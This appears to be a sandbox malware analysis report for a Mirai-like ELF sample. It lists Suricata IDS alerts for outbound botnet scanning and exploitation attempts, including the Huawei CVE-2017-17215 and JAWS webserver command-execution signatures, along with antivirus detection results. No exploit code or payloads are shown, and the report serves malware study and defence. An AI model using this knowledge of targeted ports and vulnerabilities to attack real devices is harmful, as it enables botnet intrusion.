2024-10-14T17:34:34.329624+0200	2029034	1	Web Application Attack	192.168.2.14	46272	87.197.76.211	80	TCP
2024-10-14T17:34:34.344280+0200	2029034	1	Web Application Attack	192.168.2.14	36676	76.233.57.173	80	TCP
2024-10-14T17:34:34.441610+0200	2029034	1	Web Application Attack	192.168.2.14	50408	13.192.143.77	80	TCP
2024-10-14T17:34:34.472877+0200	2029034	1	Web Application Attack	192.168.2.14	43232	120.68.33.190	80	TCP
2024-10-14T17:34:34.500779+0200	2029034	1	Web Application Attack	192.168.2.14	35766	135.208.219.81	80	TCP
2024-10-14T17:34:34.532950+0200	2029034	1	Web Application Attack	192.168.2.14	48562	131.167.238.241	80	TCP
2024-10-14T17:34:34.546623+0200	2029034	1	Web Application Attack	192.168.2.14	56710	51.128.35.28	80	TCP
2024-10-14T17:34:34.550743+0200	2029034	1	Web Application Attack	192.168.2.14	57628	84.156.166.12	80	TCP
2024-10-14T17:34:34.640545+0200	2029034	1	Web Application Attack	192.168.2.14	41364	61.160.177.115	80	TCP
2024-10-14T17:34:34.661847+0200	2029034	1	Web Application Attack	192.168.2.14	44564	82.30.22.185	80	TCP
2024-10-14T17:34:35.546344+0200	2029034	1	Web Application Attack	192.168.2.14	37218	182.64.118.107	80	TCP
2024-10-14T17:34:35.568375+0200	2029034	1	Web Application Attack	192.168.2.14	52240	84.10.168.7	80	TCP
2024-10-14T17:34:36.313056+0200	2029034	1	Web Application Attack	192.168.2.14	47576	12.12.20.232	80	TCP
2024-10-14T17:34:36.605288+0200	2029034	1	Web Application Attack	192.168.2.14	53084	134.118.16.121	80	TCP
2024-10-14T17:34:36.605438+0200	2029034	1	Web Application Attack	192.168.2.14	47468	181.149.65.97	80	TCP
2024-10-14T17:34:36.605781+0200	2029034	1	Web Application Attack	192.168.2.14	43984	209.183.241.248	80	TCP
2024-10-14T17:34:36.605845+0200	2029034	1	Web Application Attack	192.168.2.14	49420	206.30.20.214	80	TCP
2024-10-14T17:34:36.605958+0200	2029034	1	Web Application Attack	192.168.2.14	40442	108.81.130.89	80	TCP
2024-10-14T17:34:36.606217+0200	2029034	1	Web Application Attack	192.168.2.14	34288	8.160.109.226	80	TCP
2024-10-14T17:34:36.625701+0200	2029034	1	Web Application Attack	192.168.2.14	41606	183.57.37.96	80	TCP
2024-10-14T17:34:36.687631+0200	2029034	1	Web Application Attack	192.168.2.14	59424	77.3.150.192	80	TCP
2024-10-14T17:34:38.578633+0200	2029034	1	Web Application Attack	192.168.2.14	41200	223.63.237.131	80	TCP
2024-10-14T17:34:38.580085+0200	2029034	1	Web Application Attack	192.168.2.14	36290	137.46.73.168	80	TCP
2024-10-14T17:34:38.609707+0200	2029034	1	Web Application Attack	192.168.2.14	52198	154.189.149.132	80	TCP
2024-10-14T17:34:38.614130+0200	2029034	1	Web Application Attack	192.168.2.14	53756	36.229.215.172	80	TCP
2024-10-14T17:34:38.630562+0200	2029034	1	Web Application Attack	192.168.2.14	44646	155.83.97.123	80	TCP
2024-10-14T17:34:39.609420+0200	2029034	1	Web Application Attack	192.168.2.14	36206	221.110.37.119	80	TCP
2024-10-14T17:34:39.611083+0200	2029034	1	Web Application Attack	192.168.2.14	45762	79.42.6.55	80	TCP
2024-10-14T17:34:39.615419+0200	2029034	1	Web Application Attack	192.168.2.14	45246	130.143.3.66	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:34:17.217696+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35964	156.235.118.232	37215	TCP
2024-10-14T17:34:20.759241+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58988	156.96.124.186	37215	TCP
2024-10-14T17:34:23.128389+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57332	41.142.82.90	37215	TCP
2024-10-14T17:34:32.186918+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49398	156.247.23.139	37215	TCP
2024-10-14T17:34:33.312583+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42858	197.129.129.87	37215	TCP
2024-10-14T17:34:33.332706+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59924	197.52.94.232	37215	TCP
2024-10-14T17:34:33.379507+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40952	197.56.115.214	37215	TCP
2024-10-14T17:34:33.406612+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53944	156.40.168.169	37215	TCP
2024-10-14T17:34:33.499648+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59988	197.8.124.136	37215	TCP
2024-10-14T17:34:33.515810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35656	197.252.249.212	37215	TCP
2024-10-14T17:34:33.534910+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35890	156.136.127.182	37215	TCP
2024-10-14T17:34:33.563409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50332	41.45.164.216	37215	TCP
2024-10-14T17:34:33.609479+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55518	156.119.88.242	37215	TCP
2024-10-14T17:34:33.610031+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55794	41.157.6.145	37215	TCP
2024-10-14T17:34:33.640895+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47458	197.161.220.113	37215	TCP
2024-10-14T17:34:33.671997+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45532	156.94.217.87	37215	TCP
2024-10-14T17:34:33.703041+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50870	41.147.168.3	37215	TCP
2024-10-14T17:34:33.703184+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50230	41.12.210.213	37215	TCP
2024-10-14T17:34:33.704706+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33648	41.17.42.167	37215	TCP
2024-10-14T17:34:33.720477+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52496	197.107.94.66	37215	TCP
2024-10-14T17:34:33.734409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41142	41.75.110.142	37215	TCP
2024-10-14T17:34:34.235311+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57900	197.84.254.99	37215	TCP
2024-10-14T17:34:34.236054+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48818	156.8.22.233	37215	TCP
2024-10-14T17:34:34.271316+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52642	41.117.115.104	37215	TCP
2024-10-14T17:34:34.282084+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37134	41.159.121.25	37215	TCP
2024-10-14T17:34:34.329987+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39368	197.106.26.143	37215	TCP
2024-10-14T17:34:34.343594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44918	156.49.31.7	37215	TCP
2024-10-14T17:34:34.391399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53512	156.160.223.165	37215	TCP
2024-10-14T17:34:34.410571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51160	156.152.71.59	37215	TCP
2024-10-14T17:34:34.425731+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35148	156.80.33.71	37215	TCP
2024-10-14T17:34:34.431022+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40794	41.184.5.106	37215	TCP
2024-10-14T17:34:34.455332+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54188	156.95.186.74	37215	TCP
2024-10-14T17:34:34.500237+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47558	156.135.171.102	37215	TCP
2024-10-14T17:34:34.500417+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48762	41.43.52.119	37215	TCP
2024-10-14T17:34:34.564628+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37164	41.40.38.157	37215	TCP
2024-10-14T17:34:34.580246+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33586	41.22.70.86	37215	TCP
2024-10-14T17:34:34.595398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48908	41.217.156.39	37215	TCP
2024-10-14T17:34:34.641144+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53844	156.233.32.128	37215	TCP
2024-10-14T17:34:34.644789+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57256	41.121.12.129	37215	TCP
2024-10-14T17:34:34.657925+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57136	197.211.2.169	37215	TCP
2024-10-14T17:34:34.675863+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52910	41.105.148.190	37215	TCP
2024-10-14T17:34:34.720734+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54434	41.18.249.50	37215	TCP
2024-10-14T17:34:34.734965+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47956	197.164.236.181	37215	TCP
2024-10-14T17:34:34.736416+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56150	41.126.64.10	37215	TCP
2024-10-14T17:34:34.736505+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50606	41.70.200.240	37215	TCP
2024-10-14T17:34:36.312622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40240	41.139.171.186	37215	TCP
2024-10-14T17:34:36.312980+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55316	156.78.111.135	37215	TCP
2024-10-14T17:34:36.313196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48132	156.239.18.206	37215	TCP
2024-10-14T17:34:36.314807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32938	197.46.116.92	37215	TCP
2024-10-14T17:34:36.316880+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53696	197.153.240.99	37215	TCP
2024-10-14T17:34:36.319205+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34852	197.7.119.78	37215	TCP
2024-10-14T17:34:36.605063+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54270	156.56.88.39	37215	TCP
2024-10-14T17:34:36.605165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57482	156.167.4.14	37215	TCP
2024-10-14T17:34:36.605438+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48562	156.250.109.164	37215	TCP
2024-10-14T17:34:36.605551+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37900	197.59.228.193	37215	TCP
2024-10-14T17:34:36.605591+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37680	41.229.107.145	37215	TCP
2024-10-14T17:34:36.605700+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37670	41.117.250.58	37215	TCP
2024-10-14T17:34:36.605741+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53008	41.121.163.72	37215	TCP
2024-10-14T17:34:36.605760+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60196	156.91.72.145	37215	TCP
2024-10-14T17:34:36.605761+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57674	41.51.46.101	37215	TCP
2024-10-14T17:34:36.605885+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43342	41.90.184.19	37215	TCP
2024-10-14T17:34:36.605897+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48938	156.56.92.171	37215	TCP
2024-10-14T17:34:36.606113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35202	41.125.165.215	37215	TCP
2024-10-14T17:34:36.606163+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36408	156.251.221.106	37215	TCP
2024-10-14T17:34:36.606172+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50272	156.46.198.66	37215	TCP
2024-10-14T17:34:36.606203+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42784	41.194.65.164	37215	TCP
2024-10-14T17:34:36.609552+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59940	197.188.25.161	37215	TCP
2024-10-14T17:34:36.646303+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52682	197.132.23.190	37215	TCP
2024-10-14T17:34:36.657909+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34810	156.247.75.253	37215	TCP
2024-10-14T17:34:36.687755+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53966	41.237.110.7	37215	TCP
2024-10-14T17:34:36.724520+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44206	156.251.156.83	37215	TCP
2024-10-14T17:34:36.735148+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42398	41.99.106.112	37215	TCP
2024-10-14T17:34:36.736436+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53196	156.28.130.182	37215	TCP
2024-10-14T17:34:36.736487+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53872	41.201.37.141	37215	TCP
2024-10-14T17:34:36.753896+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52684	197.115.11.153	37215	TCP
2024-10-14T17:34:36.785369+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47860	197.141.68.212	37215	TCP
2024-10-14T17:34:37.567097+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50694	156.143.114.100	37215	TCP
2024-10-14T17:34:37.568182+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44544	41.77.208.129	37215	TCP
2024-10-14T17:34:37.568457+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39946	156.195.126.2	37215	TCP
2024-10-14T17:34:37.579769+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55438	41.49.180.114	37215	TCP
2024-10-14T17:34:37.579814+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59714	197.206.92.149	37215	TCP
2024-10-14T17:34:37.594421+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56102	197.183.177.121	37215	TCP
2024-10-14T17:34:37.609378+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47432	41.221.218.63	37215	TCP
2024-10-14T17:34:37.615018+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32916	197.147.252.31	37215	TCP
2024-10-14T17:34:37.656442+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50558	197.100.215.91	37215	TCP
2024-10-14T17:34:37.656855+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51396	41.34.237.65	37215	TCP
2024-10-14T17:34:37.657853+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43938	197.46.111.174	37215	TCP
2024-10-14T17:34:37.657994+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49654	41.120.20.62	37215	TCP
2024-10-14T17:34:37.660424+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46154	156.201.207.50	37215	TCP
2024-10-14T17:34:38.531878+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58824	197.176.215.209	37215	TCP
2024-10-14T17:34:38.532079+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34010	197.115.19.88	37215	TCP
2024-10-14T17:34:38.562950+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46030	156.148.67.239	37215	TCP
2024-10-14T17:34:38.655759+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55058	41.151.2.41	37215	TCP
2024-10-14T17:34:38.656092+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44162	41.31.159.219	37215	TCP
2024-10-14T17:34:38.658207+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37556	156.34.154.136	37215	TCP
2024-10-14T17:34:38.672920+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37180	41.248.6.88	37215	TCP
2024-10-14T17:34:38.722927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41506	41.97.33.14	37215	TCP
2024-10-14T17:34:39.568162+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44544	197.32.90.183	37215	TCP
2024-10-14T17:34:39.673517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34272	156.19.5.207	37215	TCP
2024-10-14T17:34:39.687509+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40406	197.3.228.241	37215	TCP
2024-10-14T17:34:39.687664+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47274	197.73.128.72	37215	TCP
2024-10-14T17:34:39.692981+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43078	41.195.44.60	37215	TCP
2024-10-14T17:34:39.734324+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47692	197.22.85.41	37215	TCP
2024-10-14T17:34:39.736009+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39836	41.218.135.142	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 75%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48092 -> 2.17.128.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48092 -> 2.17.128.182:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35964 -> 156.235.118.232:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59890 -> 212.94.246.156:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58474 -> 94.28.197.137:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37656 -> 42.167.138.188:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57796 -> 118.166.161.110:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34940 -> 212.169.97.36:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37532 -> 2.233.4.30:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46916 -> 109.90.105.70:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38298 -> 117.107.119.52:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47252 -> 118.233.168.151:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39732 -> 79.237.166.254:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48306 -> 5.3.212.146:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51886 -> 123.159.227.29:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33600 -> 42.77.59.80:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41046 -> 5.93.69.95:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58988 -> 156.96.124.186:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59202 -> 202.169.42.22:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47742 -> 37.139.205.59:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44036 -> 210.60.244.65:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36016 -> 94.45.236.192:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33966 -> 123.157.78.61:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52956 -> 109.65.134.143:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54316 -> 148.162.67.255:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49970 -> 148.224.116.120:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36674 -> 117.195.107.150:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49824 -> 178.76.27.129:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58424 -> 94.33.218.24:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40520 -> 178.17.14.142:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32952 -> 178.11.113.224:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43560 -> 109.229.207.75:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37944 -> 42.164.29.2:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50478 -> 2.165.216.107:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60210 -> 178.50.176.12:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57400 -> 210.222.150.233:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59494 -> 202.19.144.42:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36842 -> 5.203.70.168:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58760 -> 148.245.222.232:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54066 -> 109.34.44.99:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36560 -> 109.158.105.177:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55190 -> 178.241.201.180:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54720 -> 212.63.24.167:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57186 -> 117.248.242.139:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32816 -> 109.17.214.13:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35434 -> 202.126.57.169:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59186 -> 117.186.109.65:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55638 -> 94.128.98.24:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36720 -> 178.120.144.86:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34726 -> 70.183.114.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47386 -> 147.45.136.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34726 -> 70.183.114.202:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47386 -> 147.45.136.124:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56092 -> 2.77.19.139:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42262 -> 118.106.83.116:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44864 -> 79.40.127.223:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36044 -> 79.95.10.90:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36242 -> 148.197.2.135:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36112 -> 42.173.190.219:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38750 -> 5.253.165.108:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36982 -> 79.43.52.125:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33480 -> 79.114.98.80:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37972 -> 123.137.232.236:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35746 -> 5.24.126.151:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33810 -> 94.245.151.61:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57182 -> 5.150.205.102:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60566 -> 148.188.49.117:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56636 -> 148.79.44.9:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46940 -> 79.212.36.201:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60734 -> 79.164.29.126:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57496 -> 37.205.155.28:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35860 -> 79.220.179.145:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58130 -> 123.113.22.102:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46458 -> 118.93.94.120:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38206 -> 148.143.19.226:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37702 -> 109.197.14.136:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43838 -> 123.80.238.164:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48426 -> 37.6.43.52:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46798 -> 202.212.238.113:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41012 -> 79.117.52.82:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57424 -> 109.191.144.0:443
